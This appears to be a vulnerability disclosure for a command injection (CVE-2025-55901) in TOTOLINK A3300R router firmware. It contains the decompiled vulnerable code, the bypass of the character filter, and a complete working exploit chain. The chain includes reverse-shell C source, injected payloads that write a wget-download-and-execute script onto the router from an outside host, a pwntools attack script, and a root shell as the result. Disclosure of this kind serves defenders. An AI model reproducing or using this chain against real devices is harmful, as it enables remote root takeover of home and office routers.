

CVE-2025-55901

TOTOLINK A3300R V17.0.0cu.596_B20250515 is vulnerable to command injection in the function NTPSyncWithHost via the host_time parameter.

Vulnerability point

```

1 int __fastcall NTPSyncWithHost(int a1, int a2)
2 {
3     int v4; // $a2
4     char *v5; // $s0
5     int v6; // $a2
6     int v7; // $a2
7     _BYTE v9[256]; // [sp+24h] [-104h] BYREF
8
9     memset(v9, 0, sizeof(v9));
10    v5 = sub_40A55C(a1, (int)"host_time");
11    if ( is_cmd_string_valid(v5) )
12    {
13        CsteSystem("/etc/init.d/sysntpd stop", 0, v4);
14        snprintf(v9, 256, "date -s '%s'", v5); // 1919' +'111'>./test.txt
15        CsteSystem(v9, 0, v6);
16        CsteSystem("echo 1 > /tmp/NTPValid", 0, v7);
17        Uci_Set_Str(11, "ntp", "time_flag", "1");
18        Uci_Set_Str(11, "ntp", "enabled", "0");
19        Uci_Commit(11);
20    }
21    sub_40A5A8(a2, 1, (int)"", 0, (int)"", (int)"reserv");
22    return 0;
23 }

```

```

1 BOOL __fastcall is_cmd_string_valid(int a1)
2 {
3     bool v2; // dc
4     BOOL result; // $v0
5
6     v2 = strchr(a1, ';') != 0;
7     result = 0;
8     if ( !v2 )
9     {
10         v2 = strchr(a1, '|') != 0;
11         result = 0;
12         if ( !v2 )
13         {
14             v2 = strchr(a1, '`') != 0;
15             result = 0;
16             if ( !v2 )
17             {
18                 v2 = strchr(a1, '&') != 0;
19                 result = 0;
20                 if ( !v2 )
21                 {
22                     v2 = strchr(a1, '\n') != 0;
23                     result = 0;
24                     if ( !v2 )
25                     {
26                         v2 = strchr(a1, '$') != 0;
27                         result = 0;
28                         if ( !v2 )
29                         {
30                             v2 = strstr(a1, ".sh") != 0;
31                             result = 0;
32                             if ( !v2 )
33                             {
34                                 v2 = strstr(a1, "iptables") != 0;
35                                 result = 0;
36                                 if ( !v2 )
37                                 return strstr(a1, "telnetd") == 0;
38                             }
39                         }
40                     }
41                 }
42             }
43         }
44     }
45 }

```

We can easily bypass filters by using the '>' symbol.

POC

Browser window showing the TOTO LINK login page. The page has a blue background with a router icon and a login form. The URL bar shows "10.38.120.246:85/login.html".

Request details:

```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 10.38.120.246:85
3 Content-Length: 70
4 X-Requested-With: XMLHttpRequest
5 User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
6 Accept: application/json, text/javascript, */*; q=0.01
7 DNT: 1
8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
11 sec-ch-ua-platform: "Chrome OS"
12 sec-ch-ua: "Not(A)Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
13 sec-ch-ua-mobile: ?0
14 Connection: keep-alive
15
16 {
  "host_time": "1919" + "111">./test.txt #",
  "topicurl": "NTPSyncWithHost"
}
```

Response details:

```
1 HTTP/1.0 200 OK
2 Server: SHHTTPD 1.42
3 Date: Wed, 10 Dec 2025 01:47:12 GMT
4 X-UA-Compatible: IE=edge
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Expires: -1
8 Content-Type: application/json
9 Connection: close
10
11 {
  "success": true,
  "error": "",
  "lan_ip": "",
  "wtime": "",
  "reserv": "reserv"
}
```

Inspector panel shows request attributes, query parameters, cookies, headers, and response headers.

payload:

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 10.38.120.246:85
Content-Length: 70
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
sec-ch-ua-platform: "Chrome OS"
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
sec-ch-ua-mobile: ?0
Connection: keep-alive
```

```
{"host_time":"1919' +'111'>./test.txt #","topicurl":"NTPSyncWithHost"}
```

Using QEMU to simulate router firmware execution, send poc, write successful

```
/usr/sbin # /etc/rc.common: /lib/functions/procd.sh: line 47: can't create /var/
k/procd_sysnptd.lock: nonexistent directory
ls
arping                igmpproxy             ntpd-hotplug
badblocks             ip6tables             odhcp6c
brctl                 ip6tables-restore     odhcpd
chpasswd              ip6tables-save        odhcpd-update
chroot                ip6tables_init.sh     opkg-key
client_monitor        ip6tables_removeall.sh pppd
cloudupdate_check     ipset                  ree
config-cwmp-dhcppopt.sh iptables               relayd
crond                 iptables-restore      shhttpd
cs_firewall           iptables-save         stund
cwmpd                 iptables_init.sh      swapoff
dnsmasq               iptables_removeall.sh swapon
e2fsck                iw                     telnetd
ebtables              miniupnpd              test.txt
ethtool               mke2fs                 wpa_cli
fsck.ext2             mkfs.ext2              wpa_suplicant
fsck.ext3             mkfs.ext3              wpad
fsck.ext4             mkfs.ext4              xl2tpd
hostapd               mtd_custom.sh          xl2tpd-control
hostapd_cli           ntpd                   xtables-legacy-multi
/usr/sbin # cat test.txt
111
/usr/sbin #
```

Get Shell

Thoughts

Within the setOpModeCfg() function, there is a section of code that uses the system function to execute the command “wifi”.

```
if ( !strcmp(v18, opmode, v8) && !strcmp(v18, "rpt", v9) )  
{  
    system("wifi & > /dev/null");  
    sub_40A5A8(a2, 1, (int)"", 0, (int)"8", (int)"reLogin");  
}  
else  
{  
    set_lktos_effect("network");  
    sub_40A5A8(a2, 1, (int)"", 0, (int)"15", (int)"reLogin");  
}  
return 0;  
}
```

UNKNOWN setOpModeCfg:109 (411FE4)

By overwriting the 'wifi' command and then invoking it via the system call here, arbitrary command execution can be achieved.

Prepare

Compile the backdoor file statically using mipsel-linux-gnu-gcc.

```
1  #include <stdio.h>
2  #include <sys/socket.h>
3  #include <sys/types.h>
4  #include <stdlib.h>
5  #include <unistd.h>
6  #include <netinet/in.h>
7  #include <arpa/inet.h>
8
9  int main(void){
10     int port = 9999;
11     struct sockaddr_in revsockaddr;
12
13     int sockt = socket(AF_INET, SOCK_STREAM, 0);
14     revsockaddr.sin_family = AF_INET;
15     revsockaddr.sin_port = htons(port);
16     revsockaddr.sin_addr.s_addr = inet_addr("0.0.0.0");
17
18     connect(sockt, (struct sockaddr *) &revsockaddr,
19             sizeof(revsockaddr));
20     dup2(sockt, 0);
21     dup2(sockt, 1);
22     dup2(sockt, 2);
23
24     char * const argv[] = {"sh", NULL};
25     execvp("sh", argv);
26
27     return 0;
28 }
```

问题 调试控制台 输出 终端 端口

~/Tools/totolink_shell mipsel-linux-gnu-gcc rev.c -o ree --static

Then start an HTTP service on a specific server port to download malicious files.

```
> python3 -m http.server 10010
Serving HTTP on 0.0.0.0 port 10010 (http://0.0.0.0:10010/) ...
```

Port listening for receiving shell.

```
> nc -lvp 9999
Listening on 0.0.0.0 9999
```

Next, our objective is to write the following content to /usr/sbin/nvram.

```
1  #!/bin/sh
2  wget http://[redacted]10010/ree -O /usr/sbin/ree
3  chmod +x /usr/sbin/ree
4  /usr/sbin/ree
```

Attack

payload:

```
from pwn import *
context.log_level = "debug"

host = "10.38.120.246"
port = 85

payload0 = '{"host_time":"1919' + '111'>./test.txt
#',"topicurl":"NTPSyncWithHost"}'
payload1 = '{"host_time":"1919' + '#!/bin/sh' > /sbin/wifi
#',"topicurl":"NTPSyncWithHost"}'
payload2 = '{"host_time":"1919' + 'wget http://47.104.16.82:10010/ree -O
/usr/sbin/ree' >> /sbin/wifi #',"topicurl":"NTPSyncWithHost"}'
payload3 = '{"host_time":"1919' + 'chmod +x /usr/sbin/ree' >> /sbin/wifi
#',"topicurl":"NTPSyncWithHost"}'
payload4 = '{"host_time":"1919' + '/usr/sbin/ree' >> /sbin/wifi
#',"topicurl":"NTPSyncWithHost"}'

payload5 =
'{"proto":"1","defaultMac":"","pppoeUser":"","pppoePass":"","pppoeSpecType
":"0","pppoeServiceName":"","pppoeAcName":"","pppoeMtu":"1492","pptpMode":"0
","pptpIp":"0.0.0.0","pptpMask":"0.0.0.0","pptpGw":"0.0.0.0","pptpDomainFlag
":"1","pptpServerDomain":"0.0.0.0","pptpUser":"","pptpPass":"","pptpMtu":"14
60","pptpMppe":"0","pptpMppc":"0","l2tpMode":"0","l2tpDomainFlag":"1","l2tpS
```



```
serverDomain":"0.0.0.0","l2tpIp":"0.0.0.0","l2tpMask":"0.0.0.0","l2tpGw":"0.0.0.0","l2tpUser":"","l2tpPass":"","l2tpMtu":"1460","staticIp":"","staticMask":"","staticGw":"","staticMtu":"1500","hostName":"1","dhcpMtu":"1500","dnsMode":"0","priDns":"","secDns":"","ttlWay":"1","clone":"1","lanIp":"","cloneMac":"00:00:00:10:00:00","ssid":"SiWiFi-0420-2.4G","key":"","channel":"","band":"","bw":"","countryCode":"CN","hssid":"0","wifiOff":"1","wpaMode":"1","ssid5g":"SiWiFi-0424","key5g":"","channel5g":"","band5g":"","bw5g":"","countryCode5g":"CN","hssid5g":"0","wifiOff5g":"1","wpaMode5g":"1","opmode":"rpt","ssid_rpt":"testtest","bssid_rpt":"testtest1","channel_rpt":"chantest","encrypt_rpt":"NONE","cipher_rpt":"1","password_rpt":"123123","wifiIdx_rpt":"12","switchOpMode":"1","topicurl":"setOpModeCfg"}'''
```

```
def gen_packet(payload):
    packet = f'''POST /cgi-bin/cstecgi.cgi HTTP/1.1\r
Host: 10.38.120.246:85\r
Content-Length: {len(payload)}\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\r
Accept: application/json, text/javascript, */*; q=0.01\r
DNT: 1\r
Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r
Accept-Encoding: gzip, deflate, br\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
sec-ch-ua-platform: "Chrome OS"\r
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"\r
sec-ch-ua-mobile: ?0\r
Connection: keep-alive\r
\r
{payload}'''
    return packet.encode()

def post_http_req(payload, re=b"reserv"):
    sh = remote(host, port)
    sh.send(payload)
    sh.recvuntil(re)
    sh.close()

# post_http_req(gen_packet(payload0))

post_http_req(gen_packet(payload1))
post_http_req(gen_packet(payload2))
post_http_req(gen_packet(payload3))
```

```
post_http_req(gen_packet(payload4))  
post_http_req(gen_packet(payload5))  
post_http_req(gen_packet(payload5))
```

success

```
> nc -lvp 9999  
Listening on 0.0.0.0 9999  
Connection received on 221.0.198.134 16989  
id  
uid=0(root) gid=0(root) groups=0(root)  
ls /  
bin  
dev  
etc  
lib  
mnt  
overlay  
proc  
rom  
root  
sbin  
sys  
tmp  
usr  
var  
web  
www
```